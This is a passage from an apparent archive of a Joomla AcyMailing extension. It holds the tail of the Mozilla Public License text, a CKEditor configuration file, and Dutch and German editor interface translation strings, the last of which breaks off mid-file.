     (a)  such Participant's Contributor Version directly or indirectly
     infringes any patent, then any and all rights granted by such
     Participant to You under Sections 2.1 and/or 2.2 of this License
     shall, upon 60 days notice from Participant terminate prospectively,
     unless if within 60 days after receipt of notice You either: (i)
     agree in writing to pay Participant a mutually agreeable reasonable
     royalty for Your past and future use of Modifications made by such
     Participant, or (ii) withdraw Your litigation claim with respect to
     the Contributor Version against such Participant.  If within 60 days
     of notice, a reasonable royalty and payment arrangement are not
     mutually agreed upon in writing by the parties or the litigation claim
     is not withdrawn, the rights granted by Participant to You under
     Sections 2.1 and/or 2.2 automatically terminate at the expiration of
     the 60 day notice period specified above.

     (b)  any software, hardware, or device, other than such Participant's
     Contributor Version, directly or indirectly infringes any patent, then
     any rights granted to You by such Participant under Sections 2.1(b)
     and 2.2(b) are revoked effective as of the date You first made, used,
     sold, distributed, or had made, Modifications made by that
     Participant.

     8.3.  If You assert a patent infringement claim against Participant
     alleging that such Participant's Contributor Version directly or
     indirectly infringes any patent where such claim is resolved (such as
     by license or settlement) prior to the initiation of patent
     infringement litigation, then the reasonable value of the licenses
     granted by such Participant under Sections 2.1 or 2.2 shall be taken
     into account in determining the amount or value of any payment or
     license.

     8.4.  In the event of termination under Sections 8.1 or 8.2 above,
     all end user license agreements (excluding distributors and resellers)
     which have been validly granted by You or any distributor hereunder
     prior to termination shall survive termination.

9. LIMITATION OF LIABILITY.

     UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT
     (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL
     DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE,
     OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR
     ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY
     CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL,
     WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER
     COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN
     INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF
     LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
     RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW
     PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE
     EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO
     THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.

10. U.S. GOVERNMENT END USERS.

     The Covered Code is a "commercial item," as that term is defined in
     48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer
     software" and "commercial computer software documentation," as such
     terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48
     C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995),
     all U.S. Government End Users acquire Covered Code with only those
     rights set forth herein.

11. MISCELLANEOUS.

     This License represents the complete agreement concerning subject
     matter hereof. If any provision of this License is held to be
     unenforceable, such provision shall be reformed only to the extent
     necessary to make it enforceable. This License shall be governed by
     California law provisions (except to the extent applicable law, if
     any, provides otherwise), excluding its conflict-of-law provisions.
     With respect to disputes in which at least one party is a citizen of,
     or an entity chartered or registered to do business in the United
     States of America, any litigation relating to this License shall be
     subject to the jurisdiction of the Federal Courts of the Northern
     District of California, with venue lying in Santa Clara County,
     California, with the losing party responsible for costs, including
     without limitation, court costs and reasonable attorneys' fees and
     expenses. The application of the United Nations Convention on
     Contracts for the International Sale of Goods is expressly excluded.
     Any law or regulation which provides that the language of a contract
     shall be construed against the drafter shall not apply to this
     License.

12. RESPONSIBILITY FOR CLAIMS.

     As between Initial Developer and the Contributors, each party is
     responsible for claims and damages arising, directly or indirectly,
     out of its utilization of rights under this License and You agree to
     work with Initial Developer and Contributors to distribute such
     responsibility on an equitable basis. Nothing herein is intended or
     shall be deemed to constitute any admission of liability.

13. MULTIPLE-LICENSED CODE.

     Initial Developer may designate portions of the Covered Code as
     "Multiple-Licensed".  "Multiple-Licensed" means that the Initial
     Developer permits you to utilize portions of the Covered Code under
     Your choice of the NPL or the alternative licenses, if any, specified
     by the Initial Developer in the file described in Exhibit A.

EXHIBIT A -Mozilla Public License.

     ``The contents of this file are subject to the Mozilla Public License
     Version 1.1 (the "License"); you may not use this file except in
     compliance with the License. You may obtain a copy of the License at
     http://www.mozilla.org/MPL/

     Software distributed under the License is distributed on an "AS IS"
     basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
     License for the specific language governing rights and limitations
     under the License.

     The Original Code is ______________________________________.

     The Initial Developer of the Original Code is ________________________.
     Portions created by ______________________ are Copyright (C) ______
     _______________________. All Rights Reserved.

     Contributor(s): ______________________________________.

     Alternatively, the contents of this file may be used under the terms
     of the _____ license (the  "[___] License"), in which case the
     provisions of [______] License are applicable instead of those
     above.  If you wish to allow use of your version of this file only
     under the terms of the [____] License and not to allow others to use
     your version of this file under the MPL, indicate your decision by
     deleting  the provisions above and replace  them with the notice and
     other provisions required by the [___] License.  If you do not delete
     the provisions above, a recipient may use your version of this file
     under either the MPL or the [___] License."

     [NOTE: The text of this Exhibit A may differ slightly from the text of
     the notices in the Source Code files of the Original Code. You should
     use the text of this Exhibit A rather than the text found in the
     Original Code Source Code for Your Modifications.]
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/config.js000060400000002245152455305310023670 0ustar00
CKEDITOR.editorConfig = function( config ) {

	config.toolbarGroups = [
		{ name: 'clipboard',   groups: [ 'clipboard', 'undo' ] },
		{ name: 'editing',     groups: [ 'find', 'selection', 'spellchecker' ] },
		{ name: 'links' },
		{ name: 'insert' },
		{ name: 'forms' },
		{ name: 'tools' },
		{ name: 'document',	   groups: [ 'mode', 'document', 'doctools' ] },
		{ name: 'others' },
		'/',
		{ name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] },
		{ name: 'paragraph',   groups: [ 'list', 'indent', 'blocks', 'align', 'bidi' ] },
		{ name: 'styles' },
		{ name: 'colors' },
		{ name: 'about' }
	];

	config.removeButtons = 'Underline,Subscript,Superscript';


	config.removeDialogTabs = 'image:advanced;link:advanced';

	//-----------------------//
	config.startupFocus = false;
	config.fillEmptyBlocks = false;
	config.filebrowserBrowseUrl = '';
	config.filebrowserImageBrowseUrl = '';
	config.filebrowserFlashBrowseUrl = '';
	config.filebrowserUploadUrl = '';
	config.filebrowserImageUploadUrl = '';
	config.filebrowserFlashUploadUrl = '';
	config.allowedContent = true;
	config.disableNativeSpellChecker = false;
	config.stylesSet = [];
	config.entities_greek = false;
};

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/index.html000060400000000054152455305310024777 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/nl.js000060400000026510152455305310023756 0ustar00CKEDITOR.lang['nl']={"editor":"Tekstverwerker","editorPanel":"Tekstverwerker beheerpaneel","common":{"editorHelp":"Druk ALT 0 voor hulp","browseServer":"Bladeren op server","url":"URL","protocol":"Protocol","upload":"Upload","uploadSubmit":"Naar server verzenden","image":"Afbeelding","flash":"Flash","form":"Formulier","checkbox":"Selectievinkje","radio":"Keuzerondje","textField":"Tekstveld","textarea":"Tekstvak","hiddenField":"Verborgen veld","button":"Knop","select":"Selectieveld","imageButton":"Afbeeldingsknop","notSet":"<niet ingevuld>","id":"Id","name":"Naam","langDir":"Schrijfrichting","langDirLtr":"Links naar rechts (LTR)","langDirRtl":"Rechts naar links (RTL)","langCode":"Taalcode","longDescr":"Lange URL-omschrijving","cssClass":"Stylesheet-klassen","advisoryTitle":"Adviserende titel","cssStyle":"Stijl","ok":"OK","cancel":"Annuleren","close":"Sluiten","preview":"Voorbeeld","resize":"Sleep om te herschalen","generalTab":"Algemeen","advancedTab":"Geavanceerd","validateNumberFailed":"Deze waarde is geen geldig getal.","confirmNewPage":"Alle aangebrachte wijzigingen gaan verloren. Weet u zeker dat u een nieuwe pagina wilt openen?","confirmCancel":"Enkele opties zijn gewijzigd. Weet u zeker dat u dit dialoogvenster wilt sluiten?","options":"Opties","target":"Doelvenster","targetNew":"Nieuw venster (_blank)","targetTop":"Hele venster (_top)","targetSelf":"Zelfde venster (_self)","targetParent":"Origineel venster (_parent)","langDirLTR":"Links naar rechts (LTR)","langDirRTL":"Rechts naar links (RTL)","styles":"Stijl","cssClasses":"Stylesheet-klassen","width":"Breedte","height":"Hoogte","align":"Uitlijning","alignLeft":"Links","alignRight":"Rechts","alignCenter":"Centreren","alignJustify":"Uitvullen","alignTop":"Boven","alignMiddle":"Midden","alignBottom":"Onder","alignNone":"Geen","invalidValue":"Ongeldige waarde.","invalidHeight":"De hoogte moet een getal zijn.","invalidWidth":"De breedte moet een getal zijn.","invalidCssLength":"Waarde in veld \"%1\" moet een positief nummer zijn, met of zonder een geldige CSS meeteenheid (px, %, in, cm, mm, em, ex, pt of pc).","invalidHtmlLength":"Waarde in veld \"%1\" moet een positief nummer zijn, met of zonder een geldige HTML meeteenheid (px of %).","invalidInlineStyle":"Waarde voor de online stijl moet bestaan uit een of meerdere tupels met het formaat \"naam : waarde\", gescheiden door puntkomma's.","cssLengthTooltip":"Geef een nummer in voor een waarde in pixels of geef een nummer in met een geldige CSS eenheid (px, %, in, cm, mm, em, ex, pt, of pc).","unavailable":"%1<span class=\"cke_accessibility\">, niet beschikbaar</span>"},"basicstyles":{"bold":"Vet","italic":"Cursief","strike":"Doorhalen","subscript":"Subscript","superscript":"Superscript","underline":"Onderstrepen"},"blockquote":{"toolbar":"Citaatblok"},"clipboard":{"copy":"Kopiëren","copyError":"De beveiligingsinstelling van de browser verhinderen het automatisch kopiëren. Gebruik de sneltoets Ctrl/Cmd+C van het toetsenbord.","cut":"Knippen","cutError":"De beveiligingsinstelling van de browser verhinderen het automatisch knippen. Gebruik de sneltoets Ctrl/Cmd+X van het toetsenbord.","paste":"Plakken","pasteArea":"Plakgebied","pasteMsg":"Plak de tekst in het volgende vak gebruikmakend van uw toetsenbord (<strong>Ctrl/Cmd+V</strong>) en klik op OK.","securityMsg":"Door de beveiligingsinstellingen van uw browser is het niet mogelijk om direct vanuit het klembord in de editor te plakken. Middels opnieuw plakken in dit venster kunt u de tekst alsnog plakken in de editor.","title":"Plakken"},"button":{"selectedLabel":"%1 (Geselecteerd)"},"colorbutton":{"auto":"Automatisch","bgColorTitle":"Achtergrondkleur","colors":{"000":"Zwart","800000":"Kastanjebruin","8B4513":"Chocoladebruin","2F4F4F":"Donkerleigrijs","008080":"Blauwgroen","000080":"Marine","4B0082":"Indigo","696969":"Donkergrijs","B22222":"Baksteen","A52A2A":"Bruin","DAA520":"Donkergeel","006400":"Donkergroen","40E0D0":"Turquoise","0000CD":"Middenblauw","800080":"Paars","808080":"Grijs","F00":"Rood","FF8C00":"Donkeroranje","FFD700":"Goud","008000":"Groen","0FF":"Cyaan","00F":"Blauw","EE82EE":"Violet","A9A9A9":"Donkergrijs","FFA07A":"Lichtzalm","FFA500":"Oranje","FFFF00":"Geel","00FF00":"Felgroen","AFEEEE":"Lichtturquoise","ADD8E6":"Lichtblauw","DDA0DD":"Pruim","D3D3D3":"Lichtgrijs","FFF0F5":"Linnen","FAEBD7":"Ivoor","FFFFE0":"Lichtgeel","F0FFF0":"Honingdauw","F0FFFF":"Azuur","F0F8FF":"Licht hemelsblauw","E6E6FA":"Lavendel","FFF":"Wit"},"more":"Meer kleuren...","panelTitle":"Kleuren","textColorTitle":"Tekstkleur"},"colordialog":{"clear":"Wissen","highlight":"Actief","options":"Kleuropties","selected":"Geselecteerde kleur","title":"Selecteer kleur"},"contextmenu":{"options":"Contextmenu opties"},"elementspath":{"eleLabel":"Elementenpad","eleTitle":"%1 element"},"font":{"fontSize":{"label":"Lettergrootte","voiceLabel":"Lettergrootte","panelTitle":"Lettergrootte"},"label":"Lettertype","panelTitle":"Lettertype","voiceLabel":"Lettertype"},"format":{"label":"Opmaak","panelTitle":"Opmaak","tag_address":"Adres","tag_div":"Normaal (DIV)","tag_h1":"Kop 1","tag_h2":"Kop 2","tag_h3":"Kop 3","tag_h4":"Kop 4","tag_h5":"Kop 5","tag_h6":"Kop 6","tag_p":"Normaal","tag_pre":"Met opmaak"},"horizontalrule":{"toolbar":"Horizontale lijn invoegen"},"image":{"alertUrl":"Geef de URL van de afbeelding","alt":"Alternatieve tekst","border":"Rand","btnUpload":"Naar server verzenden","button2Img":"Wilt u de geselecteerde afbeeldingsknop vervangen door een eenvoudige afbeelding?","hSpace":"HSpace","img2Button":"Wilt u de geselecteerde afbeelding vervangen door een afbeeldingsknop?","infoTab":"Informatie afbeelding","linkTab":"Link","lockRatio":"Afmetingen vergrendelen","menu":"Eigenschappen afbeelding","resetSize":"Afmetingen resetten","title":"Eigenschappen afbeelding","titleButton":"Eigenschappen afbeeldingsknop","upload":"Upload","urlMissing":"De URL naar de afbeelding ontbreekt.","vSpace":"VSpace","validateBorder":"Rand moet een heel nummer zijn.","validateHSpace":"HSpace moet een heel nummer zijn.","validateVSpace":"VSpace moet een heel nummer zijn."},"indent":{"indent":"Inspringing vergroten","outdent":"Inspringing verkleinen"},"justify":{"block":"Uitvullen","center":"Centreren","left":"Links uitlijnen","right":"Rechts uitlijnen"},"fakeobjects":{"anchor":"Interne link","flash":"Flash animatie","hiddenfield":"Verborgen veld","iframe":"IFrame","unknown":"Onbekend object"},"link":{"acccessKey":"Toegangstoets","advanced":"Geavanceerd","advisoryContentType":"Aanbevolen content-type","advisoryTitle":"Adviserende titel","anchor":{"toolbar":"Interne link","menu":"Eigenschappen interne link","title":"Eigenschappen interne link","name":"Naam interne link","errorName":"Geef de naam van de interne link op","remove":"Interne link verwijderen"},"anchorId":"Op kenmerk interne link","anchorName":"Op naam interne link","charset":"Karakterset van gelinkte bron","cssClasses":"Stylesheet-klassen","emailAddress":"E-mailadres","emailBody":"Inhoud bericht","emailSubject":"Onderwerp bericht","id":"Id","info":"Linkomschrijving","langCode":"Taalcode","langDir":"Schrijfrichting","langDirLTR":"Links naar rechts (LTR)","langDirRTL":"Rechts naar links (RTL)","menu":"Link wijzigen","name":"Naam","noAnchors":"(Geen interne links in document gevonden)","noEmail":"Geef een e-mailadres","noUrl":"Geef de link van de URL","other":"<ander>","popupDependent":"Afhankelijk (Netscape)","popupFeatures":"Instellingen popupvenster","popupFullScreen":"Volledig scherm (IE)","popupLeft":"Positie links","popupLocationBar":"Locatiemenu","popupMenuBar":"Menubalk","popupResizable":"Herschaalbaar","popupScrollBars":"Schuifbalken","popupStatusBar":"Statusbalk","popupToolbar":"Werkbalk","popupTop":"Positie boven","rel":"Relatie","selectAnchor":"Kies een interne link","styles":"Stijl","tabIndex":"Tabvolgorde","target":"Doelvenster","targetFrame":"<frame>","targetFrameName":"Naam doelframe","targetPopup":"<popupvenster>","targetPopupName":"Naam popupvenster","title":"Link","toAnchor":"Interne link in pagina","toEmail":"E-mail","toUrl":"URL","toolbar":"Link invoegen/wijzigen","type":"Linktype","unlink":"Link verwijderen","upload":"Upload"},"list":{"bulletedlist":"Opsomming invoegen","numberedlist":"Genummerde lijst invoegen"},"maximize":{"maximize":"Maximaliseren","minimize":"Minimaliseren"},"pastefromword":{"confirmCleanup":"De tekst die u wilt plakken lijkt gekopieerd te zijn vanuit Word. Wilt u de tekst opschonen voordat deze geplakt wordt?","error":"Het was niet mogelijk om de geplakte tekst op te schonen door een interne fout","title":"Plakken vanuit Word","toolbar":"Plakken vanuit Word"},"pastetext":{"button":"Plakken als platte tekst","title":"Plakken als platte tekst"},"removeformat":{"toolbar":"Opmaak verwijderen"},"sourcearea":{"toolbar":"Broncode"},"stylescombo":{"label":"Stijl","panelTitle":"Opmaakstijlen","panelTitle1":"Blok stijlen","panelTitle2":"Inline stijlen","panelTitle3":"Object stijlen"},"table":{"border":"Randdikte","caption":"Onderschrift","cell":{"menu":"Cel","insertBefore":"Voeg cel in voor","insertAfter":"Voeg cel in na","deleteCell":"Cellen verwijderen","merge":"Cellen samenvoegen","mergeRight":"Voeg samen naar rechts","mergeDown":"Voeg samen naar beneden","splitHorizontal":"Splits cel horizontaal","splitVertical":"Splits cel vertikaal","title":"Celeigenschappen","cellType":"Celtype","rowSpan":"Rijen samenvoegen","colSpan":"Kolommen samenvoegen","wordWrap":"Automatische terugloop","hAlign":"Horizontale uitlijning","vAlign":"Verticale uitlijning","alignBaseline":"Tekstregel","bgColor":"Achtergrondkleur","borderColor":"Randkleur","data":"Gegevens","header":"Kop","yes":"Ja","no":"Nee","invalidWidth":"De celbreedte moet een getal zijn.","invalidHeight":"De celhoogte moet een getal zijn.","invalidRowSpan":"Rijen samenvoegen moet een heel getal zijn.","invalidColSpan":"Kolommen samenvoegen moet een heel getal zijn.","chooseColor":"Kies"},"cellPad":"Celopvulling","cellSpace":"Celafstand","column":{"menu":"Kolom","insertBefore":"Voeg kolom in voor","insertAfter":"Voeg kolom in na","deleteColumn":"Kolommen verwijderen"},"columns":"Kolommen","deleteTable":"Tabel verwijderen","headers":"Koppen","headersBoth":"Beide","headersColumn":"Eerste kolom","headersNone":"Geen","headersRow":"Eerste rij","invalidBorder":"De randdikte moet een getal zijn.","invalidCellPadding":"Celopvulling moet een getal zijn.","invalidCellSpacing":"Celafstand moet een getal zijn.","invalidCols":"Het aantal kolommen moet een getal zijn groter dan 0.","invalidHeight":"De tabelhoogte moet een getal zijn.","invalidRows":"Het aantal rijen moet een getal zijn groter dan 0.","invalidWidth":"De tabelbreedte moet een getal zijn.","menu":"Tabeleigenschappen","row":{"menu":"Rij","insertBefore":"Voeg rij in voor","insertAfter":"Voeg rij in na","deleteRow":"Rijen verwijderen"},"rows":"Rijen","summary":"Samenvatting","title":"Tabeleigenschappen","toolbar":"Tabel","widthPc":"procent","widthPx":"pixels","widthUnit":"eenheid breedte"},"toolbar":{"toolbarCollapse":"Werkbalk inklappen","toolbarExpand":"Werkbalk uitklappen","toolbarGroups":{"document":"Document","clipboard":"Klembord/Ongedaan maken","editing":"Bewerken","forms":"Formulieren","basicstyles":"Basisstijlen","paragraph":"Paragraaf","links":"Links","insert":"Invoegen","styles":"Stijlen","colors":"Kleuren","tools":"Toepassingen"},"toolbars":"Werkbalken"},"undo":{"redo":"Opnieuw uitvoeren","undo":"Ongedaan maken"},"sourcedialog":{"toolbar":"Broncode","title":"Broncode"},"acymediabrowser":{"toolbar":"Afbeelding"},"addtag":{"toolbar":"Tags"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/de.js000060400000027201152455305310023733 0ustar00CKEDITOR.lang['de']={"editor":"WYSIWYG-Editor","editorPanel":"WYSIWYG-Editor-Leiste","common":{"editorHelp":"Drücken Sie ALT 0 für Hilfe","browseServer":"Server durchsuchen","url":"URL","protocol":"Protokoll","upload":"Hochladen","uploadSubmit":"Zum Server senden","image":"Bild","flash":"Flash","form":"Formular","checkbox":"Checkbox","radio":"Radiobutton","textField":"Textfeld einzeilig","textarea":"Textfeld mehrzeilig","hiddenField":"Verstecktes Feld","button":"Klickbutton","select":"Auswahlfeld","imageButton":"Bildbutton","notSet":"<nichts>","id":"ID","name":"Name","langDir":"Schreibrichtung","langDirLtr":"Links nach Rechts (LTR)","langDirRtl":"Rechts nach Links (RTL)","langCode":"Sprachenkürzel","longDescr":"Langform URL","cssClass":"Stylesheet Klasse","advisoryTitle":"Titel Beschreibung","cssStyle":"Style","ok":"OK","cancel":"Abbrechen","close":"Schließen","preview":"Vorschau","resize":"Zum Vergrößern ziehen","generalTab":"Allgemein","advancedTab":"Erweitert","validateNumberFailed":"Dieser Wert ist keine Nummer.","confirmNewPage":"Alle nicht gespeicherten Änderungen gehen verlohren. Sind Sie sicher die neue Seite zu laden?","confirmCancel":"Einige Optionen wurden geändert. Wollen Sie den Dialog dennoch schließen?","options":"Optionen","target":"Zielseite","targetNew":"Neues Fenster (_blank)","targetTop":"Oberstes Fenster (_top)","targetSelf":"Gleiches Fenster (_self)","targetParent":"Oberes Fenster (_parent)","langDirLTR":"Links nach Rechts (LNR)","langDirRTL":"Rechts nach Links (RNL)","styles":"Style","cssClasses":"Stylesheet Klasse","width":"Breite","height":"Höhe","align":"Ausrichtung","alignLeft":"Links","alignRight":"Rechts","alignCenter":"Zentriert","alignJustify":"Blocksatz","alignTop":"Oben","alignMiddle":"Mitte","alignBottom":"Unten","alignNone":"Keine","invalidValue":"Ungültiger Wert.","invalidHeight":"Höhe muss eine Zahl sein.","invalidWidth":"Breite muss eine Zahl sein.","invalidCssLength":"Wert spezifiziert für \"%1\" Feld muss ein positiver numerischer Wert sein mit oder ohne korrekte CSS Messeinheit (px, %, in, cm, mm, em, ex, pt oder pc).","invalidHtmlLength":"Wert spezifiziert für \"%1\" Feld muss ein positiver numerischer Wert sein mit oder ohne korrekte HTML Messeinheit (px oder %).","invalidInlineStyle":"Wert spezifiziert für inline Stilart muss enthalten ein oder mehr Tupels mit dem Format \"Name : Wert\" getrennt mit Semikolons.","cssLengthTooltip":"Gebe eine Zahl ein für ein Wert in pixels oder eine Zahl mit einer korrekten CSS Messeinheit (px, %, in, cm, mm, em, ex, pt oder pc).","unavailable":"%1<span class=\"cke_accessibility\">, nicht verfügbar</span>"},"basicstyles":{"bold":"Fett","italic":"Kursiv","strike":"Durchgestrichen","subscript":"Tiefgestellt","superscript":"Hochgestellt","underline":"Unterstrichen"},"blockquote":{"toolbar":"Zitatblock"},"clipboard":{"copy":"Kopieren","copyError":"Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch kopieren. Bitte benutzen Sie die System-Zwischenablage über STRG-C (kopieren).","cut":"Ausschneiden","cutError":"Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch auszuschneiden. Bitte benutzen Sie die System-Zwischenablage über STRG-X (ausschneiden) und STRG-V (einfügen).","paste":"Einfügen","pasteArea":"Einfügebereich","pasteMsg":"Bitte fügen Sie den Text in der folgenden Box über die Tastatur (mit <STRONG>Strg+V</STRONG>) ein und bestätigen Sie mit <STRONG>OK</STRONG>.","securityMsg":"Aufgrund von Sicherheitsbeschränkungen Ihres Browsers kann der Editor nicht direkt auf die Zwischenablage zugreifen. Bitte fügen Sie den Inhalt erneut in diesem Fenster ein.","title":"Einfügen"},"button":{"selectedLabel":"%1 (Ausgewählt)"},"colorbutton":{"auto":"Automatisch","bgColorTitle":"Hintergrundfarbe","colors":{"000":"Schwarz","800000":"Kastanienbraun","8B4513":"Braun","2F4F4F":"Dunkles Schiefergrau","008080":"Blaugrün","000080":"Navy","4B0082":"Indigo","696969":"Dunkelgrau","B22222":"Ziegelrot","A52A2A":"Braun","DAA520":"Goldgelb","006400":"Dunkelgrün","40E0D0":"Türkis","0000CD":"Medium Blau","800080":"Lila","808080":"Grau","F00":"Rot","FF8C00":"Dunkelorange","FFD700":"Gold","008000":"Grün","0FF":"Cyan","00F":"Blau","EE82EE":"Hellviolett","A9A9A9":"Dunkelgrau","FFA07A":"Helles Lachsrosa","FFA500":"Orange","FFFF00":"Gelb","00FF00":"Lime","AFEEEE":"Blaß-Türkis","ADD8E6":"Hellblau","DDA0DD":"Pflaumenblau","D3D3D3":"Hellgrau","FFF0F5":"Lavendel","FAEBD7":"Antik Weiß","FFFFE0":"Hellgelb","F0FFF0":"Honigtau","F0FFFF":"Azurblau","F0F8FF":"Alice Blau","E6E6FA":"Lavendel","FFF":"Weiß"},"more":"Weitere Farben...","panelTitle":"Farben","textColorTitle":"Textfarbe"},"colordialog":{"clear":"Entfernen","highlight":"Hervorheben","options":"Farbeoptionen","selected":"Ausgewählte Farbe","title":"Farbe wählen"},"contextmenu":{"options":"Kontextmenü Optionen"},"elementspath":{"eleLabel":"Elements Pfad","eleTitle":"%1 Element"},"font":{"fontSize":{"label":"Größe","voiceLabel":"Schrifgröße","panelTitle":"Größe"},"label":"Schriftart","panelTitle":"Schriftart","voiceLabel":"Schriftart"},"format":{"label":"Format","panelTitle":"Format","tag_address":"Addresse","tag_div":"Normal (DIV)","tag_h1":"Überschrift 1","tag_h2":"Überschrift 2","tag_h3":"Überschrift 3","tag_h4":"Überschrift 4","tag_h5":"Überschrift 5","tag_h6":"Überschrift 6","tag_p":"Normal","tag_pre":"Formatiert"},"horizontalrule":{"toolbar":"Horizontale Linie einfügen"},"image":{"alertUrl":"Bitte geben Sie die Bild-URL an","alt":"Alternativer Text","border":"Rahmen","btnUpload":"Zum Server senden","button2Img":"Möchten Sie den gewählten Bild-Button in ein einfaches Bild umwandeln?","hSpace":"Horizontal-Abstand","img2Button":"Möchten Sie das gewählten Bild in einen Bild-Button umwandeln?","infoTab":"Bild-Info","linkTab":"Link","lockRatio":"Größenverhältnis beibehalten","menu":"Bild-Eigenschaften","resetSize":"Größe zurücksetzen","title":"Bild-Eigenschaften","titleButton":"Bildbutton-Eigenschaften","upload":"Hochladen","urlMissing":"Imagequelle URL fehlt.","vSpace":"Vertikal-Abstand","validateBorder":"Rahmen muß eine ganze Zahl sein.","validateHSpace":"Horizontal-Abstand muß eine ganze Zahl sein.","validateVSpace":"Vertikal-Abstand muß eine ganze Zahl sein."},"indent":{"indent":"Einzug erhöhen","outdent":"Einzug verringern"},"justify":{"block":"Blocksatz","center":"Zentriert","left":"Linksbündig","right":"Rechtsbündig"},"fakeobjects":{"anchor":"Anker","flash":"Flash Animation","hiddenfield":"Verstecktes Feld","iframe":"IFrame","unknown":"Unbekanntes Objekt"},"link":{"acccessKey":"Zugriffstaste","advanced":"Erweitert","advisoryContentType":"Inhaltstyp","advisoryTitle":"Titel Beschreibung","anchor":{"toolbar":"Anker einfügen/editieren","menu":"Anker-Eigenschaften","title":"Anker-Eigenschaften","name":"Anker Name","errorName":"Bitte geben Sie den Namen des Ankers ein","remove":"Anker entfernen"},"anchorId":"nach Element Id","anchorName":"nach Anker Name","charset":"Ziel-Zeichensatz","cssClasses":"Stylesheet Klasse","emailAddress":"E-Mail Adresse","emailBody":"Nachrichtentext","emailSubject":"Betreffzeile","id":"Id","info":"Link-Info","langCode":"Sprachenkürzel","langDir":"Schreibrichtung","langDirLTR":"Links nach Rechts (LTR)","langDirRTL":"Rechts nach Links (RTL)","menu":"Link editieren","name":"Name","noAnchors":"(keine Anker im Dokument vorhanden)","noEmail":"Bitte geben Sie e-Mail Adresse an","noUrl":"Bitte geben Sie die Link-URL an","other":"<andere>","popupDependent":"Abhängig (Netscape)","popupFeatures":"Pop-up Fenster-Eigenschaften","popupFullScreen":"Vollbild (IE)","popupLeft":"Linke Position","popupLocationBar":"Adress-Leiste","popupMenuBar":"Menü-Leiste","popupResizable":"Größe änderbar","popupScrollBars":"Rollbalken","popupStatusBar":"Statusleiste","popupToolbar":"Symbolleiste","popupTop":"Obere Position","rel":"Beziehung","selectAnchor":"Anker auswählen","styles":"Style","tabIndex":"Tab-Index","target":"Zielseite","targetFrame":"<Frame>","targetFrameName":"Ziel-Fenster-Name","targetPopup":"<Pop-up Fenster>","targetPopupName":"Pop-up Fenster-Name","title":"Link","toAnchor":"Anker in dieser Seite","toEmail":"E-Mail","toUrl":"URL","toolbar":"Link einfügen/editieren","type":"Link-Typ","unlink":"Link entfernen","upload":"Hochladen"},"list":{"bulletedlist":"Liste","numberedlist":"Nummerierte Liste"},"maximize":{"maximize":"Maximieren","minimize":"Minimieren"},"pastefromword":{"confirmCleanup":"Der Text, den Sie einfügen möchten, scheint aus MS-Word kopiert zu sein. Möchten Sie ihn zuvor bereinigen lassen?","error":"Aufgrund eines internen Fehlers war es nicht möglich die eingefügten Daten zu bereinigen","title":"Aus MS-Word einfügen","toolbar":"Aus MS-Word einfügen"},"pastetext":{"button":"Als Text einfügen","title":"Als Text einfügen"},"removeformat":{"toolbar":"Formatierungen entfernen"},"sourcearea":{"toolbar":"Quellcode"},"stylescombo":{"label":"Stil","panelTitle":"Formatierungsstile","panelTitle1":"Block Stilart","panelTitle2":"Inline Stilart","panelTitle3":"Objekt Stilart"},"table":{"border":"Rahmen","caption":"Überschrift","cell":{"menu":"Zelle","insertBefore":"Zelle davor einfügen","insertAfter":"Zelle danach einfügen","deleteCell":"Zelle löschen","merge":"Zellen verbinden","mergeRight":"Nach rechts verbinden","mergeDown":"Nach unten verbinden","splitHorizontal":"Zelle horizontal teilen","splitVertical":"Zelle vertikal teilen","title":"Zellen-Eigenschaften","cellType":"Zellart","rowSpan":"Anzahl Zeilen verbinden","colSpan":"Anzahl Spalten verbinden","wordWrap":"Zeilenumbruch","hAlign":"Horizontale Ausrichtung","vAlign":"Vertikale Ausrichtung","alignBaseline":"Grundlinie","bgColor":"Hintergrundfarbe","borderColor":"Rahmenfarbe","data":"Daten","header":"Überschrift","yes":"Ja","no":"Nein","invalidWidth":"Zellenbreite muß eine Zahl sein.","invalidHeight":"Zellenhöhe muß eine Zahl sein.","invalidRowSpan":"\"Anzahl Zeilen verbinden\" muss eine Ganzzahl sein.","invalidColSpan":"\"Anzahl Spalten verbinden\" muss eine Ganzzahl sein.","chooseColor":"Wählen"},"cellPad":"Zellenabstand innen","cellSpace":"Zellenabstand außen","column":{"menu":"Spalte","insertBefore":"Spalte links davor einfügen","insertAfter":"Spalte rechts danach einfügen","deleteColumn":"Spalte löschen"},"columns":"Spalte","deleteTable":"Tabelle löschen","headers":"Kopfzeile","headersBoth":"Beide","headersColumn":"Erste Spalte","headersNone":"Keine","headersRow":"Erste Zeile","invalidBorder":"Die Rahmenbreite muß eine Zahl 